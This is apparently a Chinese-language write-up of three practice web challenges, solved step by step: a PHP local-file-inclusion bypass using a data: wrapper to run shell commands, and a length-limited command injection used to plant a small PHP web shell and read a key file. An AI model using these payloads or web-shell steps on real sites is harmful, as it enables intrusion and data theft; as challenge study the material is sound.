第一题:
直接 POST :http://103.66.216.51:9997/index.php?a=1 POST数据:b=2 即可拿到 key1:T0kS7r3c
第二题:
简单的代码审计,经典的 LFI ,做了简单的限制,不能用 php:// 伪协议,最简单的就是用其他伪协议代替
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?>
php伪协议利用:
http://103.66.216.51:9998/index.php?page=data:text/plain,<?php system(ls);?>
得到:flag.php index.php phpinfo.php
再次执行包含读取命令即可获得 key:
http://103.66.216.51:9998/index.php?page=data:text/plain,<?php system('cat flag.php|grep key');?>
得到 key: $flag="key2:5Fvcs07N";
第三题:
这也是一道类似 CTF 的代码审计题目,源代码在网页中,如下:
<?php header("Content-type:text/html;charset=utf-8"); /* Hint: get the shell find the key;)\n"; */ $sandbox = '/var/www/html/sandbox/' . md5("M0rk" . $_SERVER['REMOTE_ADDR']); mkdir($sandbox,0777,true); chdir($sandbox); echo strlen($_GET['cmd']); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 30) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__); echo "<br /> IP : {$_SERVER['REMOTE_ADDR']}";
简单审计下,可以得出如下信息:
1.提示需要拿到 shell 找出 key
2.我们可以访问的路径是 ip/sandbox/加上md5("M0rk" . $_SERVER['REMOTE_ADDR'])加上你的 IP 地址,就是页面显示的 IP 地址,你的公网 IP 地址。可以在线运算下:https://sandbox.onlinephpfunctions.com/
得到的路径就是 ip/sandbox/4e9622ce5088a69b9753de99441fab27/可访问的目录。
3.通过GET 的 cmd 参数传入会进行长度判断,小于等于30的就直接调用 exec 命令执行。
下面简述拿到 key 过程:
因此一个简短的 shell 就需要控制长度在30以内,我给出的 shell 如下:ip/?cmd=echo '<?php `$_GET[c]`;'>2.php 刚好30.
step1:
http://103.66.216.51:9999/?cmd=echo '<?php `$_GET[c]`;'>2.php
获取路径-在线计算路径:
https://sandbox.onlinephpfunctions.com/
step2:
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/2.php?c=echo%20111%3E1.txt
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/1.txt
获得:111
step3:
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/2.php?c=ls%20/var/www/html/>3.txt
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/3.txt
获得:
index.php
key.php
sandbox
step4:
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/2.php?c=cat%20/var/www/html/key.php>4.txt
http://103.66.216.51:9999/sandbox/4e9622ce5088a69b9753de99441fab27/4.txt
获得:
<?php
#key3:Welc0Me From GooAnn
#
题目三做完可以自己删除释放资源:http://103.66.216.51:9999/index.php?reset=1
PS:我不考(主要是穷,没人报销,有公司报销可以考一个玩),看到有人发群里的,顺手做一下,其实二三题目还有多种解法,欢迎评论。
118.195.198.108:20001/